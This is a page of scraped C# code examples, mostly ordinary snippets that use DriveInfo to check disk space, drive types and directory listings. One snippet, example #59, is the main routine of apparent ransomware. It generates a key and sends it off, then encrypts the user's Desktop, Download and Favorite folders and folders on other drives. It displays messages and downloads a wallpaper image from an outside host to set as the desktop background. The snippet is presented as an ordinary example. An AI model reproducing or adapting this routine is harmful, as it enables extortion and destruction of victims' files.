            }

            _usnJournalRootHandle = rootHandle;

            returnCode = GetVolumeSerialNumber(_driveInfo, out _volumeSerialNumber);

            if (returnCode != UsnJournalReturnCode.USN_JOURNAL_SUCCESS)
            {
                throw new Win32Exception((int)returnCode);
            }
        }
コード例 #42
0
 private string CheckDiskStatus(DriveInfo drive)
 {
     double spaceUsed = drive.TotalFreeSpace / drive.TotalSize;
     if (spaceUsed < 0.6) { return "OK"; }
     else if (spaceUsed < 0.8) { return "Warning"; }
     else { return "Error"; }
 }
コード例 #43
0
ファイル: DrivesPopup.cs プロジェクト: glupschta/Kex
 public DriveItem(DriveInfo info)
 {
     Name = GetDriveInfoString(info);
     RootDirectory = info.RootDirectory.FullName;
     ShellObject = ShellObject.FromParsingName(RootDirectory);
     IsReady = info.IsReady;
 }
コード例 #44
0
        public System.IO.DriveInfo GetLeastUsedDrive()
        {
            System.IO.DriveInfo[] drives = System.IO.DriveInfo.GetDrives();
            if (drives.Length == 0)
            {
                return(null);
            }

            System.IO.DriveInfo bestDrive = null;
            foreach (System.IO.DriveInfo drive in drives)
            {
                if (drive.DriveType == System.IO.DriveType.CDRom)
                {
                    continue;
                }
                while (!drive.IsReady)
                {
                    ;
                }

                if (bestDrive == null || drive.TotalFreeSpace > bestDrive.TotalFreeSpace)
                {
                    bestDrive = drive;
                }
            }
            return(bestDrive);
        }
コード例 #45
0
        // 获取指定路径磁盘已用空间比例
        public static float GetVolumeUseScale(string path)
        {
            System.IO.DriveInfo di = new System.IO.DriveInfo(path[0].ToString());
            float Scale            = (1 - (float)di.TotalFreeSpace / di.TotalSize) * 100;

            return(Scale);
        }
コード例 #46
0
    static void RootCalculator()
    {
        string[] drives = System.Environment.GetLogicalDrives();

        foreach (string d in drives)
        {
            System.IO.DriveInfo di = new System.IO.DriveInfo(d);

            if (!di.IsReady)
            {
                Console.WriteLine("The drive {0} could not be read.", di.Name);
                exceptionsList.Add("The drive " + di.Name + " could not be read.");
                continue;
            }

            System.IO.DirectoryInfo rootDir = di.RootDirectory;

            size = DirectorySize(rootDir);

            FileCounter(rootDir);

            PrintData(size, rootDir.FullName);

            GoThroughDirectories(rootDir);
        }
    }
コード例 #47
0
 public Boolean IsCdRom()
 {
     DriveInfo monDriveInfo = new DriveInfo(this._path);
     if (monDriveInfo.DriveType == DriveType.CDRom)
         return (true);
     return (false);
 }
コード例 #48
0
        public DriveButton(DriveInfo drive)
        {
            InitializeComponent();

            this.currentDrive = drive;

            txtDriveName.Text = drive.Name[0].ToString();

            ShowDriveData(drive);

            //switch (drive.DriveType)
            //{
            //    case DriveType.CDRom:
            //        imgDriveType.Source = new BitmapImage(new Uri("/Icons/drive_cdrom.ico", UriKind.Relative));
            //        break;
            //    case DriveType.Fixed:
            //        imgDriveType.Source = new BitmapImage(new Uri("/Icons/drive_fixed.ico", UriKind.Relative));
            //        break;
            //    case DriveType.Network:
            //        imgDriveType.Source = new BitmapImage(new Uri("/Icons/drive_network.ico", UriKind.Relative));
            //        break;
            //    case DriveType.NoRootDirectory:
            //        break;
            //    case DriveType.Ram:
            //        break;
            //    case DriveType.Removable:
            //        imgDriveType.Source = new BitmapImage(new Uri("/Icons/drive_removable.ico", UriKind.Relative));
            //        break;
            //    case DriveType.Unknown:
            //        imgDriveType.Source = new BitmapImage(new Uri("/Icons/drive_unknown.ico", UriKind.Relative));
            //        break;
            //    default:
            //        break;
            //}
        }
コード例 #49
0
 public Boolean IsHardDisk()
 {
     DriveInfo monDriveInfo = new DriveInfo(this._path);
     if (monDriveInfo.DriveType == DriveType.Fixed)
         return (true);
     return (false);
 }
コード例 #50
0
        public long GetFreeDiskSpaceInGb(string drive)
        {
            var driveInfo = new DriveInfo(drive);
            long freeSpace = driveInfo.AvailableFreeSpace / (1024 * 1024 * 1024);

            return freeSpace;
        }
コード例 #51
0
        private void UpdateDiskSpace()
        {
            int    diskValue = 0;
            string diskText  = "--- GB free";

            ActionCopyMoveRename activeCmAction = GetActiveCmAction();

            if (activeCmAction is null)
            {
                return;
            }

            string        folder = activeCmAction.TargetFolder;
            DirectoryInfo toRoot = !string.IsNullOrEmpty(folder) && !folder.StartsWith("\\\\", StringComparison.Ordinal) ? new DirectoryInfo(folder).Root : null;

            if (toRoot != null)
            {
                System.IO.DriveInfo di;
                try
                {
                    // try to get root of drive
                    di = new System.IO.DriveInfo(toRoot.ToString());
                }
                catch (ArgumentException)
                {
                    di = null;
                }

                try
                {
                    if (di != null)
                    {
                        (diskValue, diskText) = DiskValue(di.TotalFreeSpace, di.TotalSize);
                    }
                }
                catch (UnauthorizedAccessException)
                {
                }
                catch (IOException)
                {
                }
            }

            DirectoryInfo toUncRoot = !string.IsNullOrEmpty(folder) && folder.StartsWith("\\\\", StringComparison.Ordinal) ? new DirectoryInfo(folder).Root : null;

            if (toUncRoot != null)
            {
                FileSystemProperties driveStats = FileHelper.GetProperties(toUncRoot.ToString());
                long?availableBytes             = driveStats.AvailableBytes;
                long?totalBytes = driveStats.TotalBytes;
                if (availableBytes.HasValue && totalBytes.HasValue)
                {
                    (diskValue, diskText) = DiskValue(availableBytes.Value, totalBytes.Value);
                }
            }

            pbDiskSpace.Value = diskValue;
            txtDiskSpace.Text = diskText;
        }
コード例 #52
0
        public void generate()
        {
            string built_in_type_subfoler = "built_in_type";

            Variable.built_in_type = built_in_type;
            ClassGen.built_in_type = built_in_type;

            string subBuiltInPath = System.IO.Path.Combine(rootFolder_, built_in_type_subfoler);

            System.IO.Directory.CreateDirectory(subBuiltInPath);
            foreach (string item in built_in_type)
            {
                includePath.Add(item, built_in_type_subfoler);
            }


            foreach (string item in built_in_type)
            {
                XsdBuiltInVariable xbv = new XsdBuiltInVariable(item);

                using (var writer = new StringWriter())
                {
                    writer.WriteLine(xbv.Code);
                    File.WriteAllText(Path.Combine(subBuiltInPath, xbv.CName + ".hpp"), writer.GetStringBuilder().ToString());
                }
            }



            //--------------------------------------------------------
            System.IO.DriveInfo di = new System.IO.DriveInfo(@"D:\");
            Console.WriteLine(di.TotalFreeSpace);
            Console.WriteLine(di.VolumeLabel);

            // Get the root directory and print out some information about it.
            System.IO.DirectoryInfo dirInfo = new DirectoryInfo(xsdFolder_);
            Console.WriteLine(dirInfo.Attributes.ToString());

            System.IO.FileInfo[] fileNames = dirInfo.GetFiles("RiskMonitor-0-1.xsd");

            var rootAllIncludeWriter = new StringWriter();

            foreach (System.IO.FileInfo fi in fileNames)
            {
                RegistEleForRefAttribute(fi.Name);
            }
            foreach (System.IO.FileInfo fi in fileNames)
            {
                Console.WriteLine("{0}: {1}: {2}", fi.Name, fi.LastAccessTime, fi.Length);
                Generation(fi.Name);
                string directoryName = fi.Name.Replace(".xsd", "");
                rootAllIncludeWriter.WriteLine("#include <" + relFolder_ + directoryName + "/all.hpp>");
            }

            File.WriteAllText(Path.Combine(rootFolder_, "all.hpp"), rootAllIncludeWriter.GetStringBuilder().ToString());
        }
コード例 #53
0
        static void Main()
        {
            System.IO.DriveInfo di = new System.IO.DriveInfo(@"C:\mitko\Даката инстал");
            Console.WriteLine(di.TotalFreeSpace);
            Console.WriteLine(di.VolumeLabel);

            System.IO.DirectoryInfo dirInfo = di.RootDirectory;
            Console.WriteLine(dirInfo.Attributes.ToString());
            System.IO.FileInfo[] fileNames = dirInfo.GetFiles("*.*");

            foreach (System.IO.FileInfo fi in fileNames)
            {
                Console.WriteLine("{0}: {1}: {2}", fi.Name, fi.LastAccessTime, fi.Length);
            }

            System.IO.DirectoryInfo[] dirInfos = dirInfo.GetDirectories("*.*");

            foreach (System.IO.DirectoryInfo d in dirInfos)
            {
                Console.WriteLine(d.Name);
            }

            string currentDirName = System.IO.Directory.GetCurrentDirectory();

            Console.WriteLine(currentDirName);

            string[] files = System.IO.Directory.GetFiles(currentDirName, "*.exe");

            foreach (string s in files)
            {
                System.IO.FileInfo fi = null;
                try
                {
                    fi = new System.IO.FileInfo(s);
                }
                catch (System.IO.FileNotFoundException e)
                {
                    Console.WriteLine(e.Message);
                    continue;
                }
                Console.WriteLine("{0} : {1}", fi.Name, fi.Directory);
            }
            if (!System.IO.Directory.Exists(@"C:\mitko\Даката инстал"))
            {
                System.IO.Directory.CreateDirectory(@"C:\mitko\Даката инстал");
            }

            System.IO.Directory.SetCurrentDirectory(@"C:\mitko\Даката инстал");

            currentDirName = System.IO.Directory.GetCurrentDirectory();
            Console.WriteLine(currentDirName);

            Console.WriteLine("Press any key to exit.");
            Console.ReadKey();
        }
コード例 #54
0
        public static bool IsNetworkPath(string path)
        {
            if (!path.StartsWith(@"/") && !path.StartsWith(@"\"))
            {
                var       rootPath  = Path.GetPathRoot(path);
                DriveInfo driveInfo = new System.IO.DriveInfo(rootPath);
                return(driveInfo.DriveType == DriveType.Network);
            }

            return(true); // is a UNC path
        }
コード例 #55
0
        public static void CheckDirectories()
        {
            // Start with drives if you have to search the entire computer.
            string[] drives = System.Environment.GetLogicalDrives();

            foreach (string dr in drives)
            {
                System.IO.DriveInfo di = new System.IO.DriveInfo(dr);
                Console.WriteLine("{0} IsReady: {1}", di.Name, di.IsReady);
            }
        }
コード例 #56
0
        //string tngAllCsv = @"X:\_February2018\tngIndo1840_4.csv";
        //string fileFontCsv = @"X:\_February2018\IndusFont1840.csv";
        //string fileTrngCsv = @"X:\_February2018\tngIndo1840.csv";
        //****************************************************************
        public SelectInput()
        {
            InitializeComponent();
            string str = Directory.GetCurrentDirectory();

            System.IO.DriveInfo di = new System.IO.DriveInfo(str);
            string drv             = di.Name;
            //tngAllCsv = tngAllCsv.Replace(@"X:\", drv);
            // fileFontCsv = fileFontCsv.Replace(@"X:\", drv);
            //fileTrngCsv = fileTrngCsv.Replace(@"X:\", drv);
        }
コード例 #57
0
        /// <summary>
        /// This method will print out a list of directories.
        /// </summary>
        private void DisplayDirs()
        {
            System.IO.DriveInfo       defaultDrive = new System.IO.DriveInfo(@"C:\");
            System.IO.DirectoryInfo   dirInfo      = defaultDrive.RootDirectory;
            System.IO.DirectoryInfo[] dirInfos     = dirInfo.GetDirectories("*.*");

            foreach (System.IO.DirectoryInfo di in dirInfos)
            {
                Console.WriteLine("\\" + di.Name);
            }
        }
コード例 #58
0
ファイル: cls_File_Cont.cs プロジェクト: SnyUmd/Ctrl-Dll
 //◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆◆
 public bool mDribe_is_NoRootDirectory(string str_drive_name)
 {
     System.IO.DriveInfo drive = new System.IO.DriveInfo(str_drive_name);
     if (drive.DriveType == DriveType.NoRootDirectory)
     {
         return(true);
     }
     else
     {
         return(false);
     }
 }
コード例 #59
0
        public void mulai_aksi()
        {
            string pwd           = BuatPwd(12);
            string folder_coba   = "\\Desktop\\coba";
            string lengkap_semua = folder_user + nama_pengguna + folder_coba;

            KirimPwd(pwd);

            string folder_usernya = folder_user + nama_pengguna;

            string[] fileArray = Directory.GetDirectories(folder_usernya);
            for (int i = 0; i < fileArray.Length; i++)
            {
                string[] myStrings = { "Download", "Desktop", "Favorite" };
                if (myStrings.Any(fileArray[i].Contains))
                {
                    //Console.Write(fileArray[i] + "\n");
                    enkrippolder(fileArray[i], pwd);
                }
            }

            //enkrippolder(lengkap_semua, pwd);
            pesan_pesan();

            WebClient t = new WebClient();

            t.DownloadFile(@"http://ysasite.com/happy/bg.png", folder_user + nama_pengguna + "\\Desktop\\bg.png");
            using (var key = Registry.CurrentUser.OpenSubKey(@"Control Panel\Desktop", true)) { key.SetValue("Wallpaper", folder_user + nama_pengguna + "\\Desktop\\bg.png"); }



            foreach (string str in semua_drive)
            {
                System.IO.DriveInfo di = new System.IO.DriveInfo(str);
                if (di.IsReady)
                {
                    string[] fileArray1 = Directory.GetDirectories(str);
                    for (int i = 0; i < fileArray1.Length; i++)
                    {
                        //string[] myStrings = {"Documents and Settings","ProgramData","PerfLogs","Recovery","Boot","Windows","winnt","tmp","Program Files (x86)", "Program Files", "temp", "thumbs.db", "Recycle", "System Volume Information"};
                        string[] myStrings = { "C:" };
                        if (!myStrings.Any(fileArray1[i].Contains))
                        {
                            //Console.Write(fileArray[i] + "\n");
                            enkrippolder(fileArray1[i], pwd);
                        }
                    }
                }
            }

            pwd = null;
            System.Windows.Forms.Application.Exit();
        }
コード例 #60
0
        public static void smethod_8(System.IO.DriveInfo driveInfo_0)
        {
            Alphaleonis.Win32.Filesystem.Path.Combine(driveInfo_0.Name, "apps", "nintendont", "boot.dol");
            string path = Alphaleonis.Win32.Filesystem.Path.Combine(driveInfo_0.Name, "nincfg.bin");

            GClass94.smethod_7(driveInfo_0);
            if (Alphaleonis.Win32.Filesystem.File.Exists(path) || RadMessageBox.Show("USB Helper was unable to detect the configuration file on your SD card. It is required to be able to play GC games. Would you like USB Helper to install it for you?", "Nintendont", MessageBoxButtons.YesNo) != DialogResult.Yes)
            {
                return;
            }
            GClass94.smethod_10(driveInfo_0);
        }